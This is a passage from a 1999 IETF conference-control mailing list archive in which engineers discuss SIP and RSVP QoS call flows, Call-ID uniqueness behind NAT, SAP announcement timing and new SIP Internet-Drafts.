New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; Required: org.ietf.qos</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; QOS-Signaling: RSVP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; ...</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; SDP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA &lt;- Called UA&nbsp; 18X Session Information</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; ...</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; SDP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA -&gt; Called UA&nbsp; RSVP PATH</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA &lt;- Called UA&nbsp; RSVP PATH</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA -&gt; Called UA&nbsp; RSVP RESV</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA &lt;- Called UA&nbsp; RSVP RESV</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA &lt;- Called UA&nbsp; 180 Ringing</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA &lt;- Called UA&nbsp; 200 OK</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Calling =
UA -&gt; Called UA&nbsp; ACK</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; If the =
called user agent did not understand the QOS mechanism then it</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; would =
respond with a 420 Bad Extension (per the SIP spec).&nbsp; The</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; calling =
user agent would then have the ability to decide whether or</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; not a =
best effort session is sufficient.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
Thoughts?</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Steve =
Donovan</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; MCI =
Worldcom</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-- </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Henning =
Schulzrinne&nbsp;&nbsp;</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Courier New"><A HREF=3D"http://www.cs.columbia.edu/~hgs" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~hgs</A></FONT></U>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE60CD.622341B4--

From confctrl-owner  Thu Feb 25 09:35:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19606
	for confctrl-outgoing; Thu, 25 Feb 1999 09:35:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19601
	for <confctrl@zephyr.isi.edu>; Thu, 25 Feb 1999 09:35:33 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA01380
	for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 09:35:31 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA12434;
	Thu, 25 Feb 1999 12:35:29 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA13554;
	Thu, 25 Feb 1999 12:35:28 -0500 (EST)
Message-ID: <36D589E0.AC0301ED@cs.columbia.edu>
Date: Thu, 25 Feb 1999 12:35:28 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: "'confctrl'" <confctrl@ISI.EDU>
Subject: Re: Thoughts on SIP RSVP QOS Interworking
References: <CA6966C24AC6D111B5A100805FEAB7D8577443@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> "Donovan, Steven R. (MCI)" wrote:
> 

> 
>      SRD> This is true.  The model implied in my note is that the
>      calling party is responsible for paying for the reservation.

Enforcing caller-pays in something like RSVP, with RESV messages from
both sides is probably not easy, but a wholly separate problem.


> 
>      SRD> I am not familiar with the reliability mechanism you
>      mention.  Can you send me a pointer.

http://www.cs.columbia.edu/~hgs/sip/drafts.html has the pointer.
Warning: The draft needs work.

> 
>      Another approach would be to define a new method for early
>      delivery of session description information.  This would allow
>      the use of the existing ACK method to ensure reliability.  This,
>      however, seems to add a potentially unacceptable amount of extra
>      overhead.

One could have a multi-stage session setup, where each stage has
different properties. However, this seems to open the door to all kinds
of complexity.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Feb 25 09:46:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19926
	for confctrl-outgoing; Thu, 25 Feb 1999 09:46:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19921
	for <confctrl@zephyr.isi.edu>; Thu, 25 Feb 1999 09:46:11 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02645
	for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 09:46:10 -0800 (PST)
Received: from omss5.mcit.com (omss5.mcit.com [166.37.210.27])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id RAA18106 for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 17:42:43 GMT
Received: from dwillispc3 ([166.44.137.238]) by omss5.mcit.com
          (InterMail v03.02.05 118 120) with SMTP
          id <19990225174539.CQIX8650@[166.44.137.238]>
          for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 11:45:39 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Conference Control List" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-12.txt Call-ID: port number?
Date: Thu, 25 Feb 1999 11:45:06 -0600
Message-ID: <002f01be60e6$94a8fd40$78a2fea9@dwillispc3>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
In-Reply-To: <36D44FFA.E488E613@cs.columbia.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Henning wrote:
> Rick Dean wrote:
> >
> > In draft-ietf-mmusic-sip-12.txt, the Call-ID
> > is not permitted to have a port number
> > after the host.  With network address translation (NAT),
> > multiple hosts may share one IP address, but be unable to
> > confer on a locally unique local-id.  I propose we allow
> > an optional ':' with a port number after the hostname.
>
> Besides the procedural point that this is a bit late to change it for
> this round, I'm also not sure that this is needed. A good
> implementation
> will use a cryptographically-strong random number generator for the
> localid, which would prevent collision with any other locally running
> implementation, as recommended by the spec.

As I read it, random generation of the localID only makes an ID
collision "improbable", not "impossible" -- and given more hosts behind
the NAT, that probability does increase. Although I suspect that one
would need more than a couple of hundred monkeys with typwriters to have
any useful probability of creating great literature . . .

So, let's examine the probability of collision in randomly generated
localIDs.

If we assume a local-component of Call-ID with a useful length of 32
characters, selected from the 64 or so reasonably useful ASCII
characters, we have an expression range of  app. 32**64, or
approximately 2ee96 useful ID strings.

Tack on a date respresentation so we don't have to worry about
uniqueness except within a 24-hour period (the same random number a day
later would generate a different Call_ID because of the difference in
date components)

What is the probability that a such a local-ID will collide with another
generated in the same 24 hour period? If there are N calls made in the
period, the probability would be app. N*(1/2ee96), which is well below
the acceptable rate of PSTN call failure for any reasonable number of
N -- I estimate hitting "five nines" at N=2ee90, which is a lot of calls
in any reasonable period of time.

If we further assume that calls are generated from a number of hosts
(H), and that each host is capable of detecting and preventing
collisions within its own namespace (a log file?), we would further
reduce the probability by a constant of only 1/H, which seems hardly
worthwile for H>1.

On the other hand, the reality of random number generators may be a bit
lacking, and is outside of my scope in any case. Any real mathemeticians
care to expound? Given current generators, how large does the generated
ID need to be to reduce the probability of per-call collision below
1ee-6?

The real problem here is network address translation. Face it, NAT is
evil and we should repent before the end comes.

--
Dean


From confctrl-owner  Thu Feb 25 12:10:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA26206
	for confctrl-outgoing; Thu, 25 Feb 1999 12:10:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA26201
	for <confctrl@zephyr.isi.edu>; Thu, 25 Feb 1999 12:10:45 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA20472
	for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 12:10:43 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA24442;
	Thu, 25 Feb 1999 15:10:41 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA19031;
	Thu, 25 Feb 1999 15:10:40 -0500 (EST)
Message-ID: <36D5AE40.4467E699@cs.columbia.edu>
Date: Thu, 25 Feb 1999 15:10:40 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-12.txt Call-ID: port number?
References: <002f01be60e6$94a8fd40$78a2fea9@dwillispc3>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Henning wrote:
> > Rick Dean wrote:
> > >
> > > In draft-ietf-mmusic-sip-12.txt, the Call-ID
> > > is not permitted to have a port number
> > > after the host.  With network address translation (NAT),
> > > multiple hosts may share one IP address, but be unable to
> > > confer on a locally unique local-id.  I propose we allow
> > > an optional ':' with a port number after the hostname.
> >
> > Besides the procedural point that this is a bit late to change it for
> > this round, I'm also not sure that this is needed. A good
> > implementation
> > will use a cryptographically-strong random number generator for the
> > localid, which would prevent collision with any other locally running
> > implementation, as recommended by the spec.
> 
> As I read it, random generation of the localID only makes an ID
> collision "improbable", not "impossible" -- and given more hosts behind
> the NAT, that probability does increase. Although I suspect that one
> would need more than a couple of hundred monkeys with typwriters to have
> any useful probability of creating great literature . . .
> 
> So, let's examine the probability of collision in randomly generated
> localIDs.
> 
> If we assume a local-component of Call-ID with a useful length of 32
> characters, selected from the 64 or so reasonably useful ASCII
> characters, we have an expression range of  app. 32**64, or
> approximately 2ee96 useful ID strings.
> 
> Tack on a date respresentation so we don't have to worry about
> uniqueness except within a 24-hour period (the same random number a day
> later would generate a different Call_ID because of the difference in
> date components)

See
http://www.ietf.org/internet-drafts/draft-ietf-usefor-message-id-01.txt
for some detail.

Generally, the collision probability for random numbers is given by the
solution to the birthday problem. Details are  in my Network Security
slides, or many statistics textbooks or the RTP spec. The probability
that there is no collision is approximately

p = 1 - n(n-1)/(2k),

where n = number of calls, k = number of choices (random numbers). For
1e9 (a billion) calls a day and 1e23 different call-ids, we get a
probability of no collision of 0.999995.

Thus, 23 digits or roughly 13 letters (base-64) of randomness is good
enough. Since generating that much randomness takes a two-year old left
alone in his room for a few hours, a date-based mechanism with a second
resolution makes the problem much more tractable.

We only have to worry about IDs within the same day, since calls rarely
last beyond that, whether we use date identifiers or not (which is a
good idea, see the above I-D).


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Feb 25 18:12:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA08763
	for confctrl-outgoing; Thu, 25 Feb 1999 18:12:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA08758
	for <confctrl@zephyr.isi.edu>; Thu, 25 Feb 1999 18:12:51 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA04695
	for <confctrl@ISI.EDU>; Thu, 25 Feb 1999 18:12:50 -0800 (PST)
Received: from cisco.com (dhcp-71-147-164.cisco.com [171.71.147.164]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id SAA23422; Thu, 25 Feb 1999 18:11:46 -0800 (PST)
Message-ID: <36D601FF.DEE3736F@cisco.com>
Date: Thu, 25 Feb 1999 18:07:59 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        "'confctrl'" <confctrl@ISI.EDU>
Subject: Re: Thoughts on SIP RSVP QOS Interworking
References: <CA6966C24AC6D111B5A100805FEAB7D8577443@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Donovan, Steven R. (MCI) wrote:


> It is interesting to note that, depending on the circumstances, the
> callee session description could appear in one or more of
> - in 1xx for announcements and per-flow QOS
> - in 2xx for "normal" calls
> - in the ACK for some H.323 interworking
> 
        SRD> This is one of the reasons I sent this message.  There
already
two reasons identified for being able to include session descriptions in
1xx
messages.  I seems to me to be prudent to design a generic method to
handle
this requirement.

I think this alone is not sufficient to have enough information to meet
your requirement in this case(ie. reserve before you ring the phone). In
the scheme you propose, I think the callee does not know whether the
callers reservation has succeeded or not before it sends the 180.


-Anup.

From confctrl-owner  Fri Feb 26 00:45:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA21089
	for confctrl-outgoing; Fri, 26 Feb 1999 00:45:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA21068
	for <confctrl@zephyr.isi.edu>; Fri, 26 Feb 1999 00:45:07 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA23513
	for <confctrl@ISI.EDU>; Fri, 26 Feb 1999 00:45:05 -0800 (PST)
Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04875-0@bells.cs.ucl.ac.uk>; Fri, 26 Feb 1999 08:44:59 +0000
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: "'confctrl'" <confctrl@ISI.EDU>
Subject: Re: Thoughts on SIP RSVP QOS Interworking
In-reply-to: Your message of "Thu, 25 Feb 1999 12:35:28 EST." <36D589E0.AC0301ED@cs.columbia.edu>
Date: Fri, 26 Feb 1999 08:44:57 +0100
Message-ID: <1553.920018697@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <36D589E0.AC0301ED@cs.columbia.edu>, Henning Schulzrinne typed:

 >>Enforcing caller-pays in something like RSVP, with RESV messages from
 >>both sides is probably not easy, but a wholly separate problem.

enforcing ANY particular pay model by design condstraints of any signaling 
level mechanisms is a VERY bad idea and probanbly illegal in some
countries..

one of the critical factors i nthe USA's failure to depoy mobile telephony
as succesfully as europe is the high number of early services that had
a receiver pays only model..
 
having said that, i actually dont see how any signaling system does
constrain who pays unless it hides the identiy of one end...since so
long as the service provider has both end's (authed) caller-ids, it can always turn
around a bill...

 cheers

   jon


From confctrl-owner  Fri Feb 26 08:12:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA03981
	for confctrl-outgoing; Fri, 26 Feb 1999 08:12:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03976
	for <confctrl@zephyr.isi.edu>; Fri, 26 Feb 1999 08:12:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA07235
	for <confctrl@isi.edu>; Fri, 26 Feb 1999 08:12:02 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Feb 26 11:10:59 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id LAA16477
	for <confctrl@isi.edu>; Fri, 26 Feb 1999 11:10:59 -0500 (EST)
Message-ID: <36D6C70B.AD4F3220@dnrc.bell-labs.com>
Date: Fri, 26 Feb 1999 11:08:43 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP Caller Preferences
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning and I have just submitted a draft on caller preferences and
callee capabilities in SIP. This draft is one half of the result of a
split of the SIP call control draft we submitted some time back. Until
this draft appears in the archives, you can find a copy at:

http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-caller-00.txt

Comments welcome.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Feb 26 09:17:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA06789
	for confctrl-outgoing; Fri, 26 Feb 1999 09:17:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06784
	for <confctrl@zephyr.isi.edu>; Fri, 26 Feb 1999 09:17:10 -0800 (PST)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA12624
	for <confctrl@isi.edu>; Fri, 26 Feb 1999 09:17:08 -0800 (PST)
Received: from mg-20425418-61.ricochet.net (mg-20425418-61.ricochet.net [204.254.18.61])
	by proxy3.ba.best.com (8.9.3/8.9.2/best.out) with SMTP id JAA18101
	for <confctrl@isi.edu>; Fri, 26 Feb 1999 09:13:06 -0800 (PST)
Message-Id: <3.0.5.16.19990226090906.2f978e90@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Fri, 26 Feb 1999 09:09:06
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Some fuzzy wording in the SAP spec
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm not sure what the status of the SAP spec is these days, or who's
working on it, but from reading the version at
<ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sap-00.txt> - the only
version I could find - I noticed some unclear wording that should be fixed
before the spec advances further.

The issue concerns the method that a SAP announcer uses to compute the
delay between successive announcements for an advertisement.

The spec curretly says:

"The time period between one announcement and its repetition is dependent
on two factors - the scope (TTL) of the session, and the number of other
sessions currently being announced by other session directory instances."

[This is OK]

Then later,

"Session announcers in the same scope band can normally  be  expected  to
hear  your announcements, and reduce their data rates accordingly.  Thus
you should calculate the available bandwidth for  your  session's  scope
band  by  dividing  the  appropriate  limit above by the number of other
                                                                   ^^^^^
announcers in your scope band.  This gives you  your  bandwidth  alloca-
^^^^^^^^^^
tion,  which, given the size of your data packets, can be used to derive
the base interval for announcements."

The problem is the phrase "other announcers".  Instead, it should be
"different advertisements (including your own)".  Note that the formula
following this:

         interval =MAX(300, (8*no_of_ads*ad_size)/limit)

is correct, because it uses a variable named "no_of_ads".  It would be
clearer, however, if the formula referred directly to the "available
bandwidth" (say, B) that was defined above; this would make the formula:

         interval =MAX(300, (8**ad_size)/B)


A second, related issue that needs to be clarified in the spec concerns how
to handle the case where the same announcement is being advertised by more
than one party.  This can be useful, for instance, if the advertisement is
for a multi-source session, where the sources are distributed, and you want
to increase the likelihood of everyone seeing the announcement.  (In this
case, each source might wish to participate in the advertising of the
session.)

To address this case, the spec should make it clear that the available
bandwidth for announcing this session is shared by all of its announcers -
not allocated to each announcer individually.  So, with this in mind, the
available bandwidth *per announcer* - to be used for calculating the delay
interval - should be defined as:

    limit
B = -----------------------------------------------------------------------
    (# of different advertisements)*(# of announcers for our advertisement)


	Ross.



From confctrl-owner  Mon Mar  1 16:01:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA08527
	for confctrl-outgoing; Mon, 1 Mar 1999 16:01:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA08522
	for <confctrl@zephyr.isi.edu>; Mon, 1 Mar 1999 16:01:02 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA21454
	for <confctrl@isi.edu>; Mon, 1 Mar 1999 16:01:01 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05775;
	Mon, 1 Mar 1999 19:00:28 -0500 (EST)
Message-Id: <199903020000.TAA05775@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-session-timer-01.txt
Date: Mon, 01 Mar 1999 19:00:27 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP Session Timer
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-session-timer-01.txt
	Pages		: 12
	Date		: 26-Feb-99
	
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the
duration of a requested session.
 
The session timer can be used to control the duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is
not handling the media stream(s) for the session has no mechanism to
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechanism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to
network problems.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-session-timer-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990226132940.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-session-timer-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
